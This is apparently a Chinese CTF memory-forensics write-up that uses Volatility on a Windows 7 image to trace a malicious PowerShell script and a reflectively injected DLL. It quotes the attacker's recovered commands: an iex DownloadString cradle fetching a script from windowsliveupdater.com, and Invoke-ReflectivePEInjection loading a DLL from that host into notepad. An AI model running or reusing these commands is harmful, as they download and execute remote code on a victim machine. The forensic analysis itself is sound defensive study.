这是一道medium的取证题,下载下来是个memory.raw文件
用volatility分析一下
是个win7系统
看一下pstree
volatility -f memory.raw imageinfo
volatility -f memory.raw --profile Win7SP1x86_23418 pstree
列表下面有两个值得注意的进程powershell 和 notepad
用console看一下具体信息
volatility -f memory.raw --profile Win7SP1x86_23418 consoles
攻击者在文件夹C:\Windows\security中执行了update.ps1的脚本。默认情况下,这个文件夹没有update.ps1脚本。可疑项,需要分析。要访问这个ps1的powershell脚本,用filescan插件来定位文件的_file_OBJECT结构的物理地址,然后使用dumpfiles插件将其内容提取到磁盘。不过,该文件可能内存中不存在
volatility -f memory.raw --profile Win7SP1x86_23418 filescan
输出内容太多了,grep一下
volatility -f memory.raw --profile Win7SP1x86_23418 filescan |grep update.ps1
Volatility Foundation Volatility Framework 2.6
0x000000003f4551c0 8 0 R--r-- \Device\HarddiskVolume1\Windows\security\update.ps1
问了下通义千问,说
输出结果表示在内存中的某个地址(0x000000003f4551c0)找到了一个名为"update.ps1"的文件,其大小为8字节,权限为只读(R--r--),路径为"\Device\HarddiskVolume1\Windows\security"。这可能是一个Windows PowerShell脚本文件,位于系统的"Windows\security"目录下。
找到了地址,我们拷贝一下,用 dumpfiles 插件
┌──(root㉿kali)-[/home/kali]
└─# mkdir -p dumps
┌──(root㉿kali)-[/home/kali]
└─# volatility -f memory.raw --profile Win7SP1x86_23418 dumpfiles -Q 0x000000003f4551c0 -D ./dumps
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3f4551c0 None \Device\HarddiskVolume1\Windows\security\update.ps1
解释一下:
dumpfiles:这是一个Volatility插件,用于从内存中提取文件内容。
-Q 0x000000003f4551c0:指定了要提取的文件在内存中的地址。
-D ./dumps:这个选项指定了提取的文件保存到哪个目录
他下载了一个脚本叫做sysdriver.ps1,并把它加载到内存里
随后调用了一个脚本叫做invoke-relectivepeinjection,这不是powershell里一个默认的脚本
gpt的分析:
这两个命令在PowerShell环境中执行恶意操作。
iex (New-Object net.webclient).DownloadString('https://windowsliveupdater.com/sysdriver.ps1');
命令解释:iex 是 PowerShell 中的别名,代表 "Invoke-Expression"。它用于执行一个字符串作为 PowerShell 命令。
(New-Object net.webclient) 创建了一个 .NET Framework 的 WebClient 对象,该对象用于访问网络资源。
.DownloadString('https://windowsliveupdater.com/sysdriver.ps1') 使用 WebClient 对象从指定的 URL('https://windowsliveupdater.com/sysdriver.ps1')下载一个字符串内容。在这个例子中,下载的是一个名为 "sysdriver.ps1" 的 PowerShell 脚本。
整个命令将下载的 "sysdriver.ps1" 脚本内容作为 PowerShell 命令执行。
这个命令通常被用于下载和执行恶意 PowerShell 脚本,攻击者可能利用它来控制受害者系统、安装恶意软件或窃取数据。Invoke-ReflectivePEInjection -PEUrl https://windowsliveupdater.com/winmgr.dll -ProcName notepad
这个命令使用了 PowerShell Empire 框架中的 "Invoke-ReflectivePEInjection" 模块,用于在内存中加载并执行一个 DLL 文件。Invoke-ReflectivePEInjection 是一个 PowerShell 命令,用于在内存中反射性地加载和执行一个可移植可执行文件(PE),如 DLL 或 EXE。
-PEUrl https://windowsliveupdater.com/winmgr.dll 指定了要下载和执行的 DLL 文件的 URL('https://windowsliveupdater.com/winmgr.dll')。
-ProcName notepad 指定了注入目标进程的名称。在这个例子中,DLL 将被注入到名为 "notepad" 的进程中。这个命令通常被用于隐蔽地执行恶意 DLL,因为 DLL 直接在内存中执行,而不是磁盘上,这使得检测和分析变得更加困难。攻击者可能利用它来维持持久性、提升权限或执行其他恶意活动。
下一步,去看这个脚本内容或者看notepad活动
update.ps1脚本在ps进程中被加载到内存,可以用memdump插件看powerhell 的内存信息
用memdump插件去把内存内容dump到硬盘里 看一看帮助,-p是指定pid -D输出位置
文件内容260+M ,在这个dmp文件里
图中显示,这个是Powersploit的模块
由于内存段必须被设置为rwx,dll被加载时,操作系统call dllmain的时候才能正常运行
malfind插件可以查找内存段中具有执行权限的片段,这种方法可以有效检测反射型dll注入
需要volshell这个插件进行进一步分析
dumpbyes
默认长度是128,这里载入更多的内存页看看
这些是dll的头部信息,虽然头部两个字节被清零了(可能是为了反取证),但是后面的部分还是一个有效的dll
DLL(动态链接库)文件的格式规范是由操作系统定义的,主要是为了确保 DLL 文件能够被正确地加载、解析和执行。以下是一些 DLL 格式规范的主要特点:
DLL 头部:包含关于 DLL 文件的基本信息,如文件标识(通常是 "MZ" 和 "PE")、文件大小、各部分(如代码、数据、资源等)的位置和大小、入口点地址等。
节(Sections):DLL 文件通常由多个节组成,每个节包含特定类型的数据或代码。例如,".text" 节通常包含可执行代码,".data" 节包含初始化的数据,".rdata" 节包含只读数据等。
导入和导出表:DLL 文件可能需要导入其他 DLL 文件中的函数或数据,也可能导出自己的函数或数据供其他模块使用。这些导入和导出的信息都会在特定的表中记录。
重定位信息:由于 DLL 文件在内存中的加载地址可能会与磁盘上的存储地址不同,因此 DLL 文件中包含了重定位信息,以便在加载时对代码和数据的地址进行调整。
使用dlldump把这里的dll导出来
因为前面两个字节被破坏了,所以校验签名失败
上网搜了下,需要把导致这个报错检测的那一行py给注销掉